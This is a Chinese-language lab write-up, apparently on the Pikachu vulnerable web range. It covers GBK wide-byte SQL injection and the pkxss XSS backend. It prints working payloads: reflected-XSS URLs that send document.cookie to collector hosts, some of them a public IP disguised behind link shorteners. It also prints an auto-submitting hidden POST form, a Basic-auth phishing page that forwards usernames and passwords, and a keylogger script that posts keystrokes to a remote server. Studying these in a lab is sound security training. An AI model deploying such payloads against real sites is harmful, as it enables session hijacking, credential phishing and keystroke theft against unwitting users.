    # 呃……这是以js形式运行的 escape() 函数,他是编码了,所以我还是弄不出它转义效果,理解不是很好
    # 还是对源码下手了,在 <?php echo $html;?> 上一行添加了 <?php echo $name;?> 把escape() 运行后结果输出,还真是输入框输入:1' ,输出:1\' 。的确是将单引号进行转义的,而不是进行编码输出
    # 试下:1%df' or 1=1# ,这个,直接输入输入框中不行,需要用到docker插件写入:1�\' or 1=1#
    # F12 比对post参数信息,确实是浏览器再次编码问题导致程序解出我们的预期,写一下吧
    # 浏览器直接写入显示:name=1%25df%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2
    # 插件写入显示:name=1%df' or 1=1#&submit=%E6%9F%A5%E8%AF%A2
    # 最后,当执行 mysqli_query($link, $query) 后,由于使用 SELECT 查询,成功则返回一个 mysqli_result 对象


    $link=connect();

    $html='';

    if(isset($_POST['submit']) && $_POST['name']!=null){

    $name = escape($link,$_POST['name']);
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
    $set = "set character_set_client=gbk";
    execute($link,$set);

    //mysqi_query不打印错误描述
    $result=mysqli_query($link, $query);
    if(mysqli_num_rows($result) >= 1){
    while ($data=mysqli_fetch_assoc($result)){
    $id=$data['id'];
    $email=$data['email'];
    $html.="<p class='notice'>your uid:{$id}
    your email is: {$email}</p>";
    }
    }else{
    $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }


    }

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # 部分GBK 编码表

    99 0 1 2 3 4 5 6 7 8 9 A B C D E F
    4 橜 橝 橞 機 橠 橢 橣 橤 橦 橧 橨 橩 橪 橫 橬 橭
    5 橮 橯 橰 橲 橳 橴 橵 橶 橷 橸 橺 橻 橽 橾 橿 檁
    6 檂 檃 檅 檆 檇 檈 檉 檊 檋 檌 檍 檏 檒 檓 檔 檕
    7 檖 檘 檙 檚 檛 檜 檝 檞 檟 檡 檢 檣 檤 檥 檦
    8 檧 檨 檪 檭 檮 檯 檰 檱 檲 檳 檴 檵 檶 檷 檸 檹
    9 檺 檻 檼 檽 檾 檿 櫀 櫁 櫂 櫃 櫄 櫅 櫆 櫇 櫈 櫉
    A 櫊 櫋 櫌 櫍 櫎 櫏 櫐 櫑 櫒 櫓 櫔 櫕 櫖 櫗 櫘 櫙
    B 櫚 櫛 櫜 櫝 櫞 櫟 櫠 櫡 櫢 櫣 櫤 櫥 櫦 櫧 櫨 櫩
    C 櫪 櫫 櫬 櫭 櫮 櫯 櫰 櫱 櫲 櫳 櫴 櫵 櫶 櫷 櫸 櫹
    D 櫺 櫻 櫼 櫽 櫾 櫿 欀 欁 欂 欃 欄 欅 欆 欇 欈 欉
    E 權 欋 欌 欍 欎 欏 欐 欑 欒 欓 欔 欕 欖 欗 欘 欙
    F 欚 欛 欜 欝 欞 欟 欥 欦 欨 欩 欪 欫 欬 欭 欮

管理工具–XSS后台

cookie搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
# 可以看下 /app/pkxss/xcookie/cookie.php 中内容,其中代码用于获取用户cookie
# 以 xss 第一题为例
# 构造输入盲打语句
<script>document.location='http://192.168.135.132:49160/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
# 最后拼接,此处拿题1测试,KO
http://192.168.135.132:49160/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.135.132%3A49160%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
# 这么长?一看就有问题,找个短链生成器缩短下,度娘是不会吝啬的
https://bit.ly/3lEax4u
#自己打自己肯定不好玩,那打本地发到远程服务上:
http://192.168.135.130:49154/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F112.64.65.110%3A9002%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
# 对应短链:
http://k8i.cn/wEBbU
# 服务器对服务器的(不要问我哪来那么多服务器,佛法搜一下),只给短链:http://k8i.cn/FJcGr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# http://192.168.135.130:49154/pkxss/xcookie/cookie.php 源码
# 通过 cookie 进行传参,因此需要把远程服务器上的脚本作为 cookie 值
#
#
# 分析下如下 URL 的运行机制:
http://192.168.135.132:49160/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.135.132%3A49160%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
#
# 比较 http://192.168.135.130:49154/vul/xss/xss_reflected_get.php 源码可知,写入内容直接拼接后输出前端,即执行插入的脚本(message 值)。
# 通过 script 标签执行 js 脚本,具体:利用 document.location 方法访问其后的 URL,而在访问该 URL 时,需要先通过 document.cookie 方法拿到当前页面 cookie,才能继续执行。
#
# 当执行完恶意代码后,攻击方获得 URL 访问时间和 cookie 等重要参数
# 再进行 header() 和 Location 结合组成跳转页面的效果。
# header() 函数向客户端发送原始的 HTTP 报头。
# Location 类似 document.location 作用。


<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.135.132:49161/index.php");//重定向到一个可信的网站

?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# http://192.168.135.130:49154/pkxss/xcookie/post.html 源码
#
# 这个界面就和之前的 xss 第二题的界面相同了,但多了一个暗中隐藏的恶意 post 表单( script 标签包裹部分)
# 即当访问 post.html 时,解析到 form 标签时
# 跳转访问 xss_reflected_post.php ,之后的两个 input 标签作为其 post 参数一起传入
# onload 通常用于 <body> 元素,在页面完全载入后(包括图片、css文件等等。)执行脚本代码
# 即页面全部显示后,通过 onload 事件实现自动化的点击事件,相当于人工点击 submit 按钮
# 若跳转时发现没有登录,则转而跳转到 post_login.php 登陆界面,成功才跳转 xss_reflected_post.php 界面
# 此时,已经无法捕获用户 cookie,除非再次访问 post.html
# 故,仅有在用户登录 post_login.php 访问 post.html 才能触发获取 cookie
# 再次理解:通过 post 表单与 onload 事件组合实现用户发起访问 xss_reflected_post.php 的请求

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

<!--
*
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# 127.0.0.1/pkxss/xcookie/pkxss_cookie_result.php 源码
# 为什么我要放这个页面的源码,打sql上瘾了,看到删除操作就行试试,
# 注意:
# is_numeric() 函数用于检测变量是否为数字或数字字符串。
# 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
# 所以,写永真式注入是不行喽,有空回来再看看吧


<?php
// error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

// 判断是否登录,没有登录不能访问
if(!check_login($link)){
header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
$id=escape($link, $_GET['id']);
$query="delete from cookies where id=$id";
execute($link, $query);
}
?>


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>cookie搜集结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 获取cookies结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="xss_main">
<table border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
<tr>
<td>id</td>
<td>time</td>
<td>ipaddress</td>
<td>cookie</td>
<td>referer</td>
<td>useragent</td>
<td>删除</td>
</tr>
<?php
$query="select * from cookies";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td>{$data['id']}</td>
<td>{$data['time']}</td>
<td>{$data['ipaddress']}</td>
<td>{$data['cookie']}</td>
<td>{$data['referer']}</td>
<td>{$data['useragent']}</td>
<td><a href="pkxss_cookie_result.php?id={$data['id']}">删除</a></td>
</tr>
A;

echo $html;


}

?>

image

钓鱼结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# http://192.168.135.130:49154/pkxss/xfish/pkxss_fish_result.php 源码
#
# 查看钓鱼结果,不分析



<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();


// 判断是否登录,没有登录不能访问
if(!check_login($link)){
header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
$id=escape($link, $_GET['id']);
$query="delete from fish where id=$id";
execute($link, $query);
}
?>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>钓鱼结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 钓鱼结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="result">
<table class="tb" border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
<tr>
<td class="1">id</td>
<td class="1">time</td>
<td class="1">username</td>
<td class="1">password</td>
<td class="2">referer</td>
<td class="2">操作</td>
</tr>
<?php
$query="select * from fish";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td class="1">{$data['id']}</td>
<td class="1">{$data['time']}</td>
<td class="1">{$data['username']}</td>
<td class="1">{$data['password']}</td>
<td class="2">{$data['referer']}</td>
<td><a href="pkxss_fish_result.php?id={$data['id']}">删除</a></td>
</tr>
A;

echo $html;
}
?>
</table>
</div>
</body>
</html>r
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# http://192.168.135.130:49154/pkxss/xfish/xfish.php 源码
#
# 钓鱼到的数据发送攻击者数据库



<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();



if(!empty($_GET['username']) && !empty($_GET['password'])){

$username=$_GET['username'];
$password=$_GET['password'];
$referer="";
$referer.=$_SERVER['HTTP_REFERER'];
$time=date('Y-m-d g:i:s');
$query="insert fish(time,username,password,referer)
values('$time','$username','$password','$referer')";
$result=mysqli_query($link, $query);
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# http://192.168.135.130:49154/pkxss/xfish/fish.php 源码
#
# 钓鱼页面
#
# 使用说明:
# 需要将 header("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]} 中的 IP 修改为自己管理后台的 IP,如笔者的 192.168.135.130:49154
# 钓鱼页面单次出现,再次刷新将不触发
#
# 注意:
# header("Location 处语句需要连接起来才能实现真正的跳转,此处以完善
#
# 分析:
# 当用户访问该界面并根据提示输入数据时,将携带输入进行跳转 xfish.php 页面,实现数据传入数据库
#
# payload:
# 配合 xss 漏洞使用
<img src="http://192.168.135.130:49154/pkxss/xfish/fish.php" />
<script src=" http://192.168.135.130:49154/pkxss/xfish/fish.php">中国人不骗中国人</script>
# 也可以直接把钓鱼URL发给其他用户:http://192.168.135.130:49154/pkxss/xfish/fish.php


<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}

?>

键盘记录

  • 在实施之前先来了解一下–跨域:

举例:https://fanyi.baidu.com/#en/zh/admin
其中,协议(https://)、子域名(fanyi)、主域名(baidu.com)、端口(未显示,即默认的80端口)、资源地址(#en/zh/admin)。
当这些组合间存在任一不同时,则形成不同域,而不同域间请求数据被称为跨域。

  • 都了解了跨越,那也了解下–同源策略

出于安全考虑,各浏览器间约定同源策略,即不同域间不允许相互使用 JavaScript 操作。总有那么一些需要,导致跨域操作的出现,下边举几个例子:

1
2
3
4
<script src="...">		# script 标签,定义客户端脚本,包含脚本语句,或使用 src 属性写入外部脚本文件
<img src="..."> # img 标签,加载图片
<link href="..."> # link 标签,加载 css 代码
<iframe src="..."> # iframe 标签,在当前 HTML 文档中嵌入另一个文档
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# http://192.168.135.130:49154/pkxss/rkeypress/rkserver.php 源码
#
#

<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);


?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# http://192.168.135.130:49154/pkxss/rkeypress/rk.js 源码
#
# 实现获取键盘记录的js脚本
#
# 存储型xss处写入如下语句:
<script src= "http://192.168.135.130:49154/pkxss/rkeypress/rk.js"></script>
# 似乎没啥呀?F12一波,发现我们的js脚本执行报错:
ReferenceError: event is not defined
http://192.168.135.130:49154/pkxss/rkeypress/rk.js
Line 34
# 就这行的内容:
var realkey = String.fromCharCode(event.keyCode);
# event 未定义?不了解js,找度娘玩呗:
# 度娘说:FireFox没有 window.event
# 其他网友说 onkeypress 函数内加下面这句话:
var event = window.event || arguments.callee.caller.arguments[0];
# 恭喜,得到一个新错误:TypeError: arguments.callee.caller is null
# 继续,似乎说是严格模式下报错,火狐不支持callee、caller的+用法
# ……找不到门径,放弃使用FireFox,拿Google访问吧。
# 测试发现,仅在英文模式下输入有效,中文没用呀,

# 看了下,还是理解一波先
/*
IE7+、Firefox、Chrome、Safari 以及 Opera 内建 XMLHttpRequest 对象
使用js创建ajax对象时,通过 window.XMLHttpRequest 进行判断。
XMLHttpRequest 对象用于在后台与服务器交换数据。
XMLHttpRequest 的 overrideMimeType 方法是指定一个MIME类型用于替代服务器指定的类型,使服务端响应信息中传输的数据按照该指定MIME类型处理。即针对某些特定版本的mozillar浏览器的BUG进行修正,使正常运行。
request.overrideMimeType('text/xml'); 语句将覆盖发送给服务器的头部,强制 text/xml 作为 mime-type。

老版本的 Internet Explorer (IE5 和 IE6)使用 ActiveX 对象
window.ActiveXObject 用来判断浏览器是否支持ActiveX控件

fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
*/

/*
说下我的理解:
自定义 createAjax() 函数用于创建 XMLHttpRequest 对象,根据兼容性使用不同的方法创建。
如通过 window.XMLHttpRequest 判读是否内置 XMLHttpRequest ;没有再通过 window.ActiveXObject 判断 ActiveXObject 的内置

自定义 onkeypress() 函数用于监听键盘事件。
其中,使用到 fromCharCode() 函数,这也是为什么不能使用中文输入法的原因。
将获取的键入值不断拼接 xl ,实现键盘记录。

自定义 show() 函数,先调用 函数创建 。
其中,内部又定义了一个匿名函数,进行请求的各种判断:
如 ajax.readyState == 4 服务器响应完成
ajax.status == 200 请求成功处理
ajax.responseText 读取服务器返回的内容

最后
利用 open() 打开我们的远程服务器进行数据的存储
通过 setRequestHeader 设置请求头
利用 send() 把获取到的数据发送远程服务器

还是看一下 Ajax 的 XMLHttpRequest 对象的功能吧
- 在不重新加载页面的情况下更新网页
- 在页面已加载后从服务器请求数据
- 在页面已加载后从服务器接收数据
- 在后台向服务器发送数据

*/

/**
* Created by runner on 2018/7/8.
*/


function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}

}else if(window.ActiveXObject){

var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}

var ajax=null;
var xl="datax=";

function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
}

document.onkeypress = onkeypress;

function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}

var postdate = xl;
ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# http://192.168.135.130:49154/pkxss/rkeypress/pkxss_keypress_result.php 源码
#
# 接受键盘输入界面

<?php
// error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

// 判断是否登录,没有登录不能访问
if(!check_login($link)){
header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
$id=escape($link, $_GET['id']);
$query="delete from keypress where id=$id";
execute($link, $query);
}
?>


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>键盘记录结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 获取键盘记录结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="xss_main">
<table border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
<tr>
<td>id</td>
<td>记录</td>
<td>操作</td>
</tr>
<?php
$query="select * from keypress";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td>{$data['id']}</td>
<td>{$data['data']}</td>
<td><a href="pkxss_keypress_result.php?id={$data['id']}">删除</a></td>
</tr>
A;

echo $html;


}

?>

</table>
</div>
</body>
</html>

后记

  • 练着是那么回事,写着又是那么回事,总觉得太乱了。
  • 笔者感觉,整体打完一个靶场和到处打一下效果是截然不同的,更容易可看出不足。
  • 人生短暂,且行且努力,加油~
 评论